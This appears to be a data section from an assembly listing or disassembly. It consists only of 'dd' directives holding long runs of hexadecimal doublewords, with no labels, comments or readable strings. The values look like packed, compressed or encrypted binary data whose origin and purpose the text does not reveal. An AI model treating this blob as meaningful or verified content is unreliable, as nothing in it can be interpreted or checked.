		dd 0DD808Ah, 0B403E3BEh, 8086701Eh, 5143C100h, 82A3C63Bh
		dd 45C0001Ch, 0C39E98B0h, 9006074h, 0BBDE674Bh,	2DF23Dh
		dd 0F1EEFC7Fh, 3C6069Fh, 5F40A800h, 0E5CD5C44h,	60E2ADh
		dd 52D8DA1Bh, 0ACBC51DFh, 504C6B00h, 0E26AA708h, 8F170083h
		dd 8BAA881Fh, 0E607A4A3h, 5F29C02h, 7A1E4B30h, 1F430029h
		dd 948D1914h, 2801A3EBh, 7FF638C6h, 98CCC72h, 0CB201B2Bh
		dd 0C028B500h, 0D719964Eh, 0E3F00098h, 8E2742C2h, 0E800741Ch
		dd 8B4FFF51h, 0F4D8A31Bh, 150F68Dh, 9C67D26Ah, 0F7FD6956h
		dd 86F0818h, 727ED458h,	3B6D395Eh, 0F8942600h, 0B9A2265h
		dd 0B8ED20C0h, 9D7582h,	0C671BCCBh, 0DDD35B61h,	0AED20600h
		dd 0F72D1EE7h, 28A60017h, 0F36DEC37h, 2106FC85h, 6E41D19Ah
		dd 51956098h, 62200F79h, 8E6DED01h, 0E31D7C81h,	1859B988h
		dd 8171F263h, 9318CF9Ch, 5E2249C0h, 0E31A26Ah, 27986E40h
		dd 1FD14DA2h, 0E9F53C40h, 0FB6D38h, 732A8B3Ah, 149C0B94h
		dd 0D915C0D2h, 9DA6C803h, 3AE0F663h, 3E004752h,	0C0779B0Fh
		dd 2E9C45Bh, 1DFB359Ah,	8AC0F725h, 7E4C18EBh, 0E05B3E63h
		dd 1B2A62E8h, 37C62C4Fh, 3A430034h, 0BC19FDD5h,	0F1F67400h
		dd 8B78E757h, 13B603F7h, 7C06EF89h, 0F8B2E9D0h,	0CE3B157Ch
		dd 8099BA60h, 3EFC6438h, 503929DFh, 1BB48h, 21F4DD83h
		dd 0FEAE42FDh, 33454A04h, 3BC00D91h, 0E0A59Eh, 4CE7A41Fh
		dd 0BC9AFF95h, 7ACA3C00h, 9BF1671h, 0F8726024h,	432E9397h
		dd 9DE60400h, 0EFA1F1C1h, 0DD850083h, 0CC90796Dh, 0EB0091C7h
		dd 551658CAh
		dd 60FF2BECh, 0E2354820h, 0FA0029B5h, 0CD9F22F8h, 27BEC40h
		dd 7E966E86h, 6405466h,	330F1005h, 209BD859h, 82DEAFCDh
		dd 6D711Ah, 0A3D3CF2Ch,	9AB6D492h, 997BE705h, 800EB3BCh
		dd 0FBD0C05Eh, 9E623Fh,	0CE02F256h, 3D2B4548h, 665EF100h
		dd 0A570E58h, 0B389A036h, 2ADE07C0h, 0D0ABC9F6h, 43B05DD9h
		dd 391A4E30h, 2F910Ah, 8804E5ECh, 0CC77F814h, 4A00C7F2h
		dd 43D3BF0Dh, 0E260C54h, 8DEB5590h, 22E944A0h, 154C823Ch
		dd 4A218EEh, 0C08ADE09h, 3DB84920h, 2F0086F6h, 7137FA46h
		dd 50106DBh, 28BEA082h,	0FBB8807Fh, 5DF2355Eh, 0DD4A6400h
		dd 87BC0F99h, 4D3F5868h, 6DA69603h, 18009D98h, 5BF32E64h
		dd 354F013Eh, 8050CB6Eh, 7591D0CEh, 7E4903Fh, 1BECF9D5h
		dd 3F21B546h, 8880797Fh, 0F3FBBF69h, 7B7F7E22h,	0E37AFC00h
		dd 0A79B42BDh, 0BBC63CBEh, 53016386h, 901C88Bh,	67334C70h
		dd 18836985h, 5CDFCCEh,	8808BD9Bh, 40CADEB2h, 81834A91h
		dd 104480D1h, 841C0927h, 0F0024091h, 1C085ADDh,	0F9EEFB1Dh
		dd 0E04BB2C0h, 31B7179Dh, 0BD51D821h, 0D79AD402h, 208C1F63h
		dd 7E5CB8FAh, 1474AEh, 65BFC5BEh, 90ABF571h, 0B7414800h
		dd 0B69630F7h, 49F4001Fh, 0BD0DD68Fh, 0D93A81CCh, 4E9F0016h
		dd 1C4CC2B3h, 592500A8h, 19C86CBBh, 1A005D82h, 3B103AEDh
		dd 2E15ACh, 3D27866Bh, 0A20CAA21h, 0EC99F900h, 816D5A71h
		dd 60142CC7h, 702B004Ah, 645768A7h, 4F83CD00h, 0FA530F0Eh
		dd 0FB670095h, 44140929h, 71F094A3h, 0B8CF201Ch, 0B1602E41h
		dd 0C8F0A156h, 0C6F900B6h, 7D64C3ECh, 18C04062h, 0ED25565Dh
		dd 0DEAC482Fh, 7C718706h, 3D7540A3h, 4B564D00h,	9832CA83h
		dd 6AEA94h, 0B86D8A3Eh,	0EAA42BFh, 4CC6EA01h, 266BD256h
		dd 8275CCh, 8316013h, 42A4A97Ch, 0D37148C0h, 1FE17EE5h
		dd 804FB926h, 337B8374h, 0DA005704h, 0EA090C8Fh, 36B5C7h
		dd 0DCF52D3Bh, 0E0C2BCA9h, 51FD3401h, 928DB1A2h, 0E39207C7h
		dd 0F069A87Ah, 0E73E23DCh, 1145B00h, 5CD7F387h,	2DAB00A7h
		dd 67CA4C5Fh, 0AF00E707h, 0C24EBB04h, 2A1B33h, 0AB714DB6h
		dd 0AD47402Fh, 827AE100h, 0CF5791D7h, 0F5900EA4h, 178BFAB9h
		dd 62AF0100h, 0C802FE4Dh, 0CC632078h, 421D40BEh, 0E3A40F02h
		dd 5A8083E1h, 0EE892803h, 17F2CD00h, 0FD24E69Ah, 0B0CF0E8h
		dd 9592E37Eh, 0ACAED901h, 9B17C871h, 0EA00CEEAh, 8B766AB9h
		dd 37470Bh, 34C92874h, 7D3C79B8h, 0A6326700h, 955ABC81h
		dd 0EB730301h, 0EC48EF6Dh, 78AE37C0h, 0BAD48007h, 71F0DDDAh
		dd 0A184E3h, 22C4A89h, 92681C05h, 0B6264400h, 0E124ECB5h
		dd 30127662h, 0A891FD96h, 0E00A767h, 8076DDD2h,	0F96F62h
		dd 0DC87C92Fh, 5B86BB46h, 0C8BBD4Ch, 0D89616DAh, 89EE00D4h
		dd 54EAD271h, 0F0C0DBB6h, 7F371629h, 1F31B06h, 0FEE0400Ch
		dd 84071AB4h, 0D0EA7631h, 759E0F6h, 595AD283h, 278E34DAh
		dd 0A0B01E83h, 44171A54h, 15204B96h, 5501101h, 0E0E60847h
		dd 0F4C407DAh, 6B03C80Ch, 0F9AEFF15h, 58538C1Eh, 0CE590807h
		dd 6785E9EFh, 0B005B743h, 2C040CC4h, 284A37A6h,	34438C58h
		dd 0CEEBA259h, 0A2055522h, 82155284h, 81257758h, 30C801D4h
		dd 0B9222C47h, 34FC003Eh, 370646DBh, 1109352Eh,	0EB010350h
		dd 4D129202h, 3F959798h, 82225E00h, 42CB6686h, 0BAE72FCh
		dd 3843619Eh, 1242200h,	152A84D3h, 6D00C4B7h, 0D4FEEEBDh
		dd 1ECCE32Dh, 0DE067076h, 0F5144005h, 0D3AF2116h, 9051440Fh
		dd 88E2C034h, 60435A37h, 0B84EF897h, 4C05A936h,	0E13374E9h
		dd 550EEC02h, 0B4A883EFh, 9214E18Eh, 2261E4h, 664EA1A9h
		dd 9520EF6h, 0EAA41200h, 0F1C80C43h, 1C150056h,	0CB380524h
		dd 857580BDh, 0B73B0D00h, 0CA096294h, 0A18B3AD9h, 0B1320580h
		dd 0AC56C9C5h, 9E54A20Fh, 0C7A9BAh, 96473AD7h, 8E5C1E7Bh
		dd 0BDA7096Eh, 3B31280h, 760032BFh, 14B4352Dh, 0C6ABD2h
		dd 4B44990Eh, 0F5E98616h, 27319B01h, 8FF3CB1Eh,	39ACD8h
		dd 0F8A30DD8h, 0B91317CDh, 0E1EEB9B0h, 0E4005CF2h, 69027788h
		dd 0FCD5D34Bh, 0E55A3B9Eh, 0A880E380h, 0C99ABCF9h, 3BB57E01h
		dd 0F89AA43h, 0DCC10CDh, 9CD64CA9h, 0BB703400h,	13B38741h
		dd 0B8B0BC00h, 0FE5CF4D4h, 12C3FE05h, 104304BFh, 0C100E034h
		dd 0C98C2F53h, 25F3D677h, 4B0F24Ch, 0A8019B1Fh,	11AEE044h
		dd 3820CC60h, 85070142h, 38377F80h, 0FC582053h,	82B0901h
		dd 0E845F9AFh, 220E289Ch, 50427510h, 6FC4B83Dh,	50D44420h
		dd 844828CAh, 20AF1410h, 0D18D4408h, 84FCD608h,	451A93Eh
		dd 174208F0h, 720194B3h, 3B018144h, 8C2994EFh, 0F9631850h
		dd 8849FE29h, 8888A3CBh, 0D679CAACh, 503A0C64h,	0F5138229h
		dd 0C10CA196h, 20E029B6h, 8637E4CFh, 0F2E6A12Bh, 0C9C073F1h
		dd 0A08C7829h, 30402228h, 0A6433FD0h, 7F745FADh, 5A4E9900h
		dd 1EAF6C8h, 0B225B5A1h, 0C117A2BAh, 0ADC9EC8Fh, 5500A0E4h
		dd 9DC4659h, 0E2951104h, 73E4000Ah, 0EE8FFC13h,	6B39ABC5h
		dd 376780E7h, 2EE5B2F1h, 957600C6h, 0A82A9489h,	4F0939B4h
		dd 7AC5B55h, 49C79B03h,	0BF4B9DF0h, 32DF003Bh, 0BC4EDB38h
		dd 76013F70h, 4A0CA6FFh, 0BC34EE04h, 67A13E19h,	0F28078B9h
		dd 0CBC6CF72h, 6903A09Ah, 0E7D1CAD2h, 752F9849h, 673400E9h
		dd 0B1E03544h, 0E60096DEh, 27CA7019h, 0E9779Eh,	7EBF0625h
		dd 0D2E28FBh, 5F10A600h, 3C05888h, 0A7982C1Ch, 1C551E64h
		dd 79604004h, 6818616Ch, 7DFCC700h, 211A3C9Fh, 9AE70065h
		dd 0CBC52C4Eh, 195C02FBh, 83393D98h, 0C6DEEAF7h, 1ECED359h
		dd 0C06E8BB0h, 0B3C73CDAh, 5D0B2F77h, 395C2FBh,	9973F8E4h
		dd 0C8E5EDB9h, 29F870h,	0EBFE9EB0h, 43E772B2h, 0C75E2D00h
		dd 81F51D75h, 68510039h, 95018D7Ch, 0CC02CB64h,	7725C772h
		dd 2286409Eh, 0E81A019Dh, 0EDB25628h, 625D20DAh, 0AC1B5F1Eh
		dd 7969F240h, 0A948B1h,	4F8806F8h, 0BF1249B3h, 72C8DE00h
		dd 231B52D8h, 0D0B20038h, 0E8C4309Ah, 4212742Eh, 0CA800CC8h
		dd 0FAD54D5Dh, 26540041h, 40AD17BFh, 0A20EBE98h, 0A0CF9474h
		dd 0E41A7B2Dh, 4D4400EFh, 0A0054352h, 8D009E6Dh, 25D73427h
		dd 0CE41Bh, 0F9231D5Ah,	16EE7493h, 0A0975F00h, 988978D6h
		dd 667F2E5Dh, 0C4C0596h, 0A1480F5h, 220011B1h, 65319236h
		dd 7BD53Dh, 86CC2079h, 41698428h, 2D00D772h, 7A0D80D6h
		dd 7065BC7h, 6DF7C174h,	0C3033028h, 0F900D9DAh,	0EB55D7A6h
		dd 5C3BC5h, 0C70AFF88h,	0F296A31Ch, 0FB791F00h,	1A0EA97Dh
		dd 0B26800CFh, 0E851B613h, 0AB28F274h, 0BEF2BCDDh, 8C1F5A1Dh
		dd 4ED900F9h, 902BD42Fh, 64F90032h, 2884721Bh, 51022E17h
		dd 2FA6E674h, 0AD8860EBh, 674D00AFh, 0D4843B85h, 9A07F1E1h
		dd 71905D0Eh, 56FDCB00h, 993C008Fh, 17A12BDEh, 20120C21h
		dd 90413AA7h, 3EE9D28Eh, 2D9AF0h, 0FAF6269Dh, 5149698Fh
		dd 0DD1653F8h, 0C400CF1Bh, 1CF9E96Dh, 21C30033h, 6CA86E3Dh
		dd 51002663h, 0D1839DC2h, 2167BE0h, 0E4E5CF31h,	28E0E921h
		dd 47005071h, 0A0F0ED52h, 2C6FC30Eh, 92BC8Eh, 22C9FA1Fh
		dd 100A639h, 0BE638A1Ah, 7B142FEh, 0CA40EAACh, 0AE76B0B3h
		dd 0EF00A71Eh, 2A7935B5h, 21C186h, 57AFF729h, 92AA5A1Fh
		dd 8072AE00h, 45202FD6h, 25400095h, 81DB5637h, 0F314B42Ah
		dd 809CA535h, 3FEFD8C6h
		dd 713118B7h, 0BACC902Eh, 90DCAE00h, 8366AFABh,	890D00E4h
		dd 97B5FFC8h, 103D06BFh, 1BCD87F3h, 0F6E0C368h,	28B7E8h
		dd 3DD68553h, 7814C4AFh, 2887423Ah, 0DB00EC41h,	9884E6CDh
		dd 15A67B4h, 2DBD9FC1h,	0F002B016h, 6A0010A3h, 60D2E6E2h
		dd 1CDB5925h, 85EA3D73h, 80A8F0C4h, 0E85045F9h,	9205161Ch
		dd 0FAF37800h, 23F6406h, 6836536Ah, 0E640EE08h,	0F008E29h
		dd 49C09782h, 0DA4DBBh,	0EC751826h, 0B3F87BB8h,	9CD5E00h
		dd 8AEBBCCEh, 7AB7656h,	12E8FD15h, 3680BE4Bh, 7DDCC98Fh
		dd 5057D000h, 0FA0CEA28h, 5E983Ah, 6C95D765h, 7E922F58h
		dd 830E9F00h, 0FFAEA5A2h, 6DC207FAh, 10B0B717h,	0C5E867E2h
		dd 4E19230Bh, 5D08200Ah, 1F039D7h, 936F641h, 0D023A265h
		dd 4200C747h, 58F9959h,	0D44A57h, 0EEC2364Ch, 652E022Fh
		dd 9F8E9407h, 803C4978h, 0C6210005h, 4323FAE4h,	1200567Ah
		dd 0CCD4A753h, 3C83722h, 9A70E763h, 10001C44h, 0F9BB4289h
		dd 0F12A6Fh, 0FC408313h, 0F459B78Ah, 0F5AC7217h, 0F9904000h
		dd 69EEE5h, 0BA27C9CCh,	1D1CAF01h, 0C866D102h, 0E1C08BC2h
		dd 0E3EC069Ch, 1AE0EBh,	3B673CE6h, 0E0BAEEB2h, 0A5000B73h
		dd 0C696B577h, 93334h, 0D1538391h, 0E27D6EEEh, 0C05D2200h
		dd 94F4B592h, 64D913D4h, 2E1600EDh, 1B20A043h, 2CBDBA00h
		dd 91CB66A6h, 6923C26h,	4DA34980h, 0D91EAA9Eh, 0D3008773h
		dd 0FEE0BC57h, 0DF015Ch, 5D7A8903h, 0D52208E5h,	0C7F69400h
		dd 78572D3h, 9CBD0375h,	0B11AEE9Fh, 0FD861CA0h,	18731D00h
		dd 12EA0131h, 2AE05Dh, 0B733A658h, 294E5224h, 0D6271000h
		dd 0DF9DAE0Ch, 8310039h, 20F48EC1h, 9F01C7DBh, 567330AAh
		dd 0A03AD8DCh, 81A2B787h, 40A9A043h, 0C006C870h, 7929CF00h
		dd 724DAC80h, 0A8210239h, 0A324917h, 267C3C0h, 33AA8200h
		dd 5B773ED1h, 99BC0E03h, 0C03F1921h, 2E3BC2D7h,	3F00AF5Dh
		dd 0CBF469C9h, 7954F9Ch, 0FD1711FCh, 6FA552D8h,	0CDD7AA80h
		dd 630034BBh, 43D4B1BDh, 234830h, 0B92F2008h, 0D91AF394h
		dd 9F2AE816h, 0FC401C5Eh, 54F5E904h, 33060019h,	0EB2C738h
		dd 0D400F75Eh, 0E3206417h, 13FBCAA6h, 14AD9422h, 453A3738h
		dd 0A2347F81h, 40A97642h, 5612DB80h, 0B4589Dh, 1A062FD0h
		dd 70516055h, 3E591E1Eh, 577B54C1h, 0C8C02B7Dh,	881B001Ah
		dd 116C2027h, 0E57512BEh, 8A023BF0h, 9347F8F3h,	6F7040EEh
		dd 84CA00E3h, 74990D5Ah, 640078BAh, 5D693F90h, 39E0EB57h
		dd 0AF8033BDh, 0B487FB6h, 3800784Fh, 2D320CD9h,	0CB86A2h
		dd 0E6498AC8h, 61EC05AEh, 0D2885D00h, 7B66276Bh, 18FB2CDEh
		dd 14B80040h, 4A3A5F8Fh, 33EC3500h, 130A9D03h, 95370175h
		dd 0F14F1B3Dh, 0BF62E06Ah, 1903C49Bh, 0BD39ECE7h, 77139CC0h
		dd 8A0F072Ch, 0F06BB614h, 1E31F6BEh, 800694Bh, 93D13F9Eh
		dd 0B404009Ah, 8467E46Ah, 50508DE5h, 0A30001A4h, 319DBED1h
		dd 0B8728641h, 0C1E7139Ah, 7C44007Fh, 434BA6CBh, 102FFF00h
		dd 6B609304h, 40C901A8h, 0F1443031h, 926EE874h,	0FE4BA900h
		dd 623E14F9h, 0F018B01Bh, 3C9D0004h, 0C60ADB38h, 0DD009890h
		dd 0E0A91940h, 607E57D5h, 153590Dh, 21006C64h, 8D3A7FD8h
		dd 772D7624h, 6E831E98h, 34A70AF5h, 0BCEC00B2h,	2118401Dh
		dd 0B0E56600h, 5D7489ADh, 7E3707F3h, 6045F4D1h,	8DF914CEh
		dd 5FABE401h, 770610F8h, 1D0320h, 8E51377Fh, 2718AE65h
		dd 0C3C4FB0Fh, 592800D9h, 10AAD0h, 0AC403642h, 0D23D301h
		dd 0B30ED817h, 0ED3E0C07h, 3253E230h, 0ACE14A79h, 0F3B90282h
		dd 43544CB4h, 0CB6D000h, 0E5160093h, 29A1442Fh,	30FAF567h
		dd 5DAFFB0Fh, 0DB702022h, 50322815h, 3EEC57h, 0E4AE8131h
		dd 0A778DF90h, 641424FCh, 0AC5713h, 0F329A6E7h,	2BC5973h
		dd 0D04B8FF0h, 0ACE898B7h, 0F500FD61h, 0D92F6370h, 0F4AE0E4h
		dd 0E76AA2F1h, 40310E47h, 0C864891Dh, 43424004h, 3480B75Eh
		dd 1C504A4Eh, 0C02D9B91h, 0D7E65DC7h, 27F06F2Fh, 93C6D00h
		dd 0D24EBAFAh, 0FCB34C81h, 8F3D3801h, 50697AB4h, 0EFA5E6ACh
		dd 58FEA802h, 60DEDD71h, 0EFF8F044h, 97A438ECh,	99008850h
		dd 0FA0517E8h, 38CBEC5Ah, 0E181A9C6h, 1B6D890Eh, 78E7FC38h
		dd 2658EE00h, 0FD5CB683h, 0CA85005Ah, 0D550FA07h, 0C2097AC5h
		dd 0D64EE9h, 66261874h,	0DD7E0FA2h, 4980702Eh, 0B454DF13h
		dd 5D56F500h, 93690310h, 0BB08010Eh, 0AEAFF8B7h, 0CCDC4E2h
		dd 0F58997Bh, 23B42E5Ch, 6806BD18h, 0B76300D5h,	9DF07969h
		dd 86035921h, 29CD974Bh, 3D519040h, 71EE005Eh, 0C685CC57h
		dd 9F1C10CFh, 1D073B09h, 4C30B077h, 168D2Dh, 4525A270h
		dd 0B7B90344h, 0BC472F01h, 548B08D5h, 2E19BF0h,	0D69DBF61h
		dd 0B0A03A7Ch, 0C5DF2E22h, 41A1C202h, 0F5B5199Fh, 8C45EB80h
		dd 7100A4CFh, 66075B56h, 50177B57h, 11B4A494h, 387473F2h
		dd 637D13F9h, 0D61D2800h, 5CE3CF69h, 7F00C6D3h,	39DD7AFh
		dd 0C5000879h, 9038E8C6h, 70515AA6h, 809C188Bh,	96DFB094h
		dd 245B7E26h, 7878F04h,	36F4F04h, 0B045F81Ah, 0EEC5E9FBh
		dd 0DD0300E7h, 793E553Dh, 0A909A802h, 16648CAh,	87B253ABh
		dd 7F030h, 0C7755FA3h, 447F13CFh, 7E48B500h, 0B9DE4218h
		dd 98F51804h, 21A52068h, 0D2C0C500h, 108E050Eh,	0AB535013h
		dd 0DFE0131Bh, 0F1D800D6h, 0ACA6BF7Ah, 7500B87Bh, 0CC4103A7h
		dd 0AA4FBh, 2B9AA987h, 0D6EFF13Eh, 0EB01C372h, 0F5A3C0E7h
		dd 0E0DFDE1Ch, 0D2D94Dh, 70F3EDB2h, 79512D6h, 79EC5E09h
		dd 32B0203Ah, 9BAC347Ch, 0C72000D8h, 6CC0F790h,	0AD7C6A0Fh
		dd 5B6EA793h, 0E83C89B0h, 0B8473F11h, 80A19400h, 815D7E1Eh
		dd 0A3DDDA09h, 6EECE097h, 0AF3101D3h, 3095D52Eh, 1C266007h
		dd 0DF2C457Bh, 3800FD99h, 0BBB00196h, 230D4FD8h, 0C1E0A224h
		dd 5B1D491Ch, 5807264h,	0AB9DD9E2h, 2891007Bh, 197A6A53h
		dd 0EAB839EDh, 2E1C131Ch, 0ACC48981h, 0AC7080F2h, 9DEF00DEh
		dd 0DA93C6B9h, 1B006AA1h, 2909A390h, 8C9121h, 0D30342E6h
		dd 25E4D72Dh, 0B0388160h, 24C0E15Fh, 0EB0EB3Bh,	18715CDBh
		dd 0A38097CFh, 0FFE23D21h, 0C4589FB0h, 3710A2BAh, 8B3CE42Ch
		dd 76928501h, 89E98712h, 752D48h, 4396168h, 6F4900A6h
		dd 0CAC2BAA5h, 5C00970Fh, 198DC5D1h, 0F98CEFEh,	0C84FE0CCh
		dd 965366E0h, 3612D922h, 600E13B3h, 0E18920F9h,	0D4FFBEh
		dd 7D02BA4Bh, 7261734Ah, 2800E27Ah, 67FE9A5Fh, 684057h
		dd 0C39243Dh, 0A99EF03Bh, 0E6E33F00h, 0F5AA0EEFh, 0A3260033h
		dd 0ED111BE8h, 2500A877h, 7DD9F282h, 3C3212A4h,	324C783Ah
		dd 0D3AE6400h, 0E0430E10h, 0FDCDE500h, 0B17085FFh, 1B30006Bh
		dd 0B2550878h, 1ECD138h, 0A597C000h, 0FCE37FFAh, 0DCCB03BDh
		dd 0B9C22E92h, 275C41D8h, 2329DE01h, 538B9C4Fh,	0E2FD2871h
		dd 3CFBDCh, 105A5F97h, 6925F048h, 9A427501h, 6337AE92h
		dd 685CE0h, 59A74408h, 0E5A170D9h, 12D7B500h, 0C9148CBFh
		dd 0F4983E64h, 5F2196h,	17E3BD20h, 0C50A193h, 600E92A8h
		dd 80DA0FC1h, 0AD101B18h, 5AA02488h, 99C2CEBh, 10688257h
		dd 700E515h, 0F561AED4h, 4A650Eh, 0E8A1B658h, 40E4FFBCh
		dd 69009C7Ah, 0F3A24818h, 0E085606h, 0E73F2A0Eh, 0C4870340h
		dd 47061061h, 5444928Eh, 5F451E88h, 3F7F444Ah, 134CC06Eh
		dd 8A01287Dh, 197CAC9Ch
		dd 0F1E0507Eh, 1C5A0065h, 40B1464Fh, 5B00EA75h,	8B736EA4h
		dd 72AB0FB3h, 9F280029h, 0CF092F9Eh, 4071732h, 98506264h
		dd 0EEE34520h, 0A2A82696h, 0BCB2013Ch, 42D78B4Ah, 0C4E0C1ECh
		dd 701FC85h, 0FFC8AF23h, 15F02EE5h, 138A006Eh, 66A7AC2Ah
		dd 583D386Bh, 61F984B5h, 81C17FBDh, 0AF89E40h, 0BE940293h
		dd 0F3179F3Bh, 0E1963C60h, 52E5B610h, 369919C0h, 0FA00F8D1h
		dd 0BC30B9D3h, 7C92A3h,	41FEEB2Fh, 0F69CD6EEh, 10A8F249h
		dd 6817491h, 602A6D50h,	710FC7B0h, 0E017FC22h, 0FF6F7973h
		dd 0CF73107h, 40B3255Ah, 47D4EC91h, 0C82A2C00h,	98B13B1Ah
		dd 0FA2907F3h, 0A07BF111h, 5A141351h, 0B8EC4F00h, 430F260Bh
		dd 15E72D1Ch, 0F0C950A0h, 59F45A67h, 666AD700h,	6509253Bh
		dd 5DC20723h, 10673F91h, 2CE82E5Fh, 0C46631Dh, 7236EA41h
		dd 8FD08149h, 3C400B2h,	0E0075FECh, 830E2F46h, 0D30C3768h
		dd 5EAF8C20h, 0CD470386h, 95E90365h, 0B4E2D6A8h, 0D3B9D207h
		dd 0AB81FAEAh, 2FE4FCC8h, 0FE13587Fh, 0EBFE9B01h, 0CCB3A052h
		dd 603D8A4h, 5C21FC81h,	0C853FB71h, 9D7B462h, 0DE301593h
		dd 218A4468h, 0F835BF3Fh, 51192800h, 8B5F9C5Ch,	37600C7h
		dd 64D46074h, 21035DD7h, 29571EACh, 0A4BDB8F4h,	9204AECh
		dd 20109514h, 6A00DD11h, 0C910B33h, 13BC09h, 0E7761F84h
		dd 0D365EA47h, 23327000h, 2D37B65Ah, 54642492h,	0C8E84078h
		dd 9524D35Fh, 803F24EBh, 74D646E9h, 5F85A1Fh, 9C06CA07h
		dd 6EA28393h, 0B8D8B4E8h, 0E017D400h, 0A1C5EA60h, 32FF883h
		dd 0F238C163h, 3A916F22h, 0E45FF49Eh, 0F70C3Dh,	0C0F66D01h
		dd 0CBC520h, 63510987h,	0BE7C7E45h, 0B6C7EA07h,	0BB81FF1Ah
		dd 69F008C3h, 8A720039h, 648EF515h, 5798EEC8h, 44793A01h
		dd 0E7B9FC63h, 0E744E3CEh, 0F85439B4h, 6D0440DDh, 0C5D67577h
		dd 3F00ABF4h, 9A919B42h, 37890Eh, 0B33A94C8h, 0EBE79C2Dh
		dd 7D00ED7Ah, 675CB873h, 0B0C3E0h, 27BC6A2Fh, 65113D1Fh
		dd 86E22E01h, 2037C27Eh, 170CA70h, 84D6BBD9h, 0C457C329h
		dd 45BD445h, 5C9A00BAh,	61028719h, 0C8533Fh, 5EE4B726h
		dd 2995540h, 0EA56327Fh, 0C440B679h, 0D400A38Ah, 75DCA58Bh
		dd 1C6905CAh, 0C09761C7h, 0FDF16BB5h, 0DB004C88h, 0A1742AFh
		dd 958A02h, 0DC11A0B2h,	3C9D408Bh, 5DB1D007h, 0EC80EDE9h
		dd 0B37C497h, 60DDAFCEh, 2AF1C0C3h, 0DBC84132h,	0FA75D825h
		dd 94B8001h, 275D23C1h,	3D46BED4h, 0DF802DEDh, 350C6DDDh
		dd 2A19527Ah, 3AB0D79Bh, 9E047876h, 0C2021913h,	3540C11Ch
		dd 1B39A34Eh, 2D120008h, 32356930h, 3A8D03AEh, 0A6BE4A4Bh
		dd 0A229D3C8h, 1B5D850Fh, 6A1C477Dh, 21770FD0h,	0F89A8Dh
		dd 0C1642DEAh, 3C2DA07h, 0BFBEA312h, 58C0F01Dh,	0B1ECAD5Bh
		dd 182E4C55h, 0E2E90079h, 9D481562h, 5900EF5Eh,	33772931h
		dd 3307ED2h, 0D73A724Fh, 7C88C558h, 0C32E3F4Ah,	9601B80Bh
		dd 62F5B5Ah, 3C0120h, 0E15C25EBh, 9B50134Ah, 0AE1DAF01h
		dd 0CDF87726h, 0B4F360E2h, 8CA9001Eh, 41C30218h, 0E8F7C844h
		dd 0F7390D97h, 0EEA08F5Bh, 95556010h, 2ED7BE73h, 69CE6Dh
		dd 57664717h, 0B00ED18h, 0A56C415Fh, 4F4CA2h, 0DBB3FB9Fh
		dd 5A46401Ah, 692D3304h, 38C7884Bh, 0E4AD02C0h,	1B2C12E3h
		dd 70880495h, 0F120B040h, 173C8E1Eh, 2743ACC0h,	16896C7h
		dd 0BE2C52Bh, 0C045541Ch, 60771835h, 7100A9E8h,	0B00E038Fh
		dd 3D2B0B89h, 9B80ADBDh, 0D0CFC014h, 20001CEFh,	0F557F05h
		dd 3F9D1D0Eh, 75006AA2h, 6B12BF53h, 0D517A187h,	0D030795Ah
		dd 0EC1FE95h, 0D7FF7DEFh, 735B0052h, 20036772h,	0B665F80Ch
		dd 0E89132A9h, 36DC0042h, 0BA042B13h, 0EC4BAAE1h, 53136485h
		dd 0CC9E7430h, 9C1B0911h, 44808734h, 1D78D018h,	0BF1FF8E8h
		dd 0B91872D9h, 6FCBF2h,	38F9FFB1h, 0CEBA15C8h, 3E204248h
		dd 0B35C007Dh, 92B6E7BCh, 2774013Ch, 8740F9AAh,	0A72C3012h
		dd 8F093B12h, 6E349000h, 7AF27EF4h, 7B18007Ch, 6C9168FCh
		dd 5009F04h, 0FDE83F21h, 7CAA556h, 53B9A12Fh, 83BC11Ah
		dd 77CD3007h, 27D86100h, 897D8172h, 6ACB02AFh, 80EB2D34h
		dd 0C6BACA80h, 0C8B24054h, 5578F00h, 0C89E8E3Bh, 8CA40FECh
		dd 6C80CC08h, 0DD34A3AEh, 7100D772h, 0D24F631h,	0FAAD3Ah
		dd 635FB6C4h, 80CE7360h, 3C003479h, 39914672h, 0B77799h
		dd 3144DFBFh, 0B54A133Eh, 8F989EFCh, 3AA5B300h,	0CD5BADF4h
		dd 82240776h, 0D018B9F3h, 4D7EDE44h, 0FA7158h, 98A92813h
		dd 0D721D5h, 0CACD3C31h, 58B001A2h, 62C40307h, 0A714D4Ah
		dd 0DAF8140Ch, 0B7D20004h, 0EBC3E279h, 0FEFE65F4h, 26A02B09h
		dd 0D4640085h, 7BF50BC1h, 15D20B8Ch, 0A4E064AFh, 0F93E1A02h
		dd 3ABA004Ch, 2AFDC565h, 70AA046Eh, 84553006h, 0B0FC800Eh
		dd 2F021E43h, 3309DB19h, 0EC64412Bh, 2028C161h,	0FEDD2603h
		dd 0EF807DF5h, 131D24B3h, 31E4B32h, 6E238BC0h, 0FFA17Ch
		dd 0ED286386h, 0C790653Eh, 0F85C5E00h, 73757D12h, 514F019Ch
		dd 0CC1985A0h, 3FD2E803h, 1B0C5703h, 0C1DD93C4h, 7470F8F2h
		dd 0C0A04A47h, 0DC9444C4h, 0E6728000h, 2ECF86FEh, 7B601E03h
		dd 0C1ED809Bh, 41929E34h, 5E00F1F0h, 95A14AB1h,	2A9798h
		dd 7C4EE048h, 41A00B9Ch, 0AF4F3600h, 910504DEh,	1484177Dh
		dd 0B45E0768h, 0BD15F098h, 8D01523Fh, 8611656Ch, 0BCE10907h
		dd 48AF8420h, 0D2F364ADh, 7E2CFFB8h, 0B0990E00h, 6E43D522h
		dd 9D3724F1h, 36A900BCh, 0CDABCC6h, 0EFCCCB00h,	0A0208DC5h
		dd 89B73A1Ah, 3697A400h, 0E75965A9h, 0B509EAE8h, 0C87FB3DAh
		dd 3CC6AA24h, 4E005372h, 51119CDCh, 4138219h, 0A4A0636Ah
		dd 0A2233F39h, 3C814400h, 8A1AA6ECh, 1876E400h,	4EDB4661h
		dd 0B0F94C09h, 7168E003h, 0EC94EF4Ah, 1FE60010h, 58577EE3h
		dd 2CA158B3h, 0E0BA9700h, 5EB5911Dh, 30D4EE26h,	0B2248440h
		dd 0E4B45Ah, 0AFAC5C2Ah, 8D0057A7h, 3C93F8DBh, 283F25A8h
		dd 98CF7Eh, 2B039ABAh, 0D9A54EC2h, 77EA2F39h, 2308F200h
		dd 63103221h, 667200F9h, 0A5AA33D6h, 61485328h,	0CCF10074h
		dd 2C3B157Eh, 44EF00B4h, 7C7B096Ah, 0E4C16E8h, 981274E1h
		dd 10D39F47h, 7818F07Dh, 6671001Eh, 0C3894BE9h,	47050CCBh
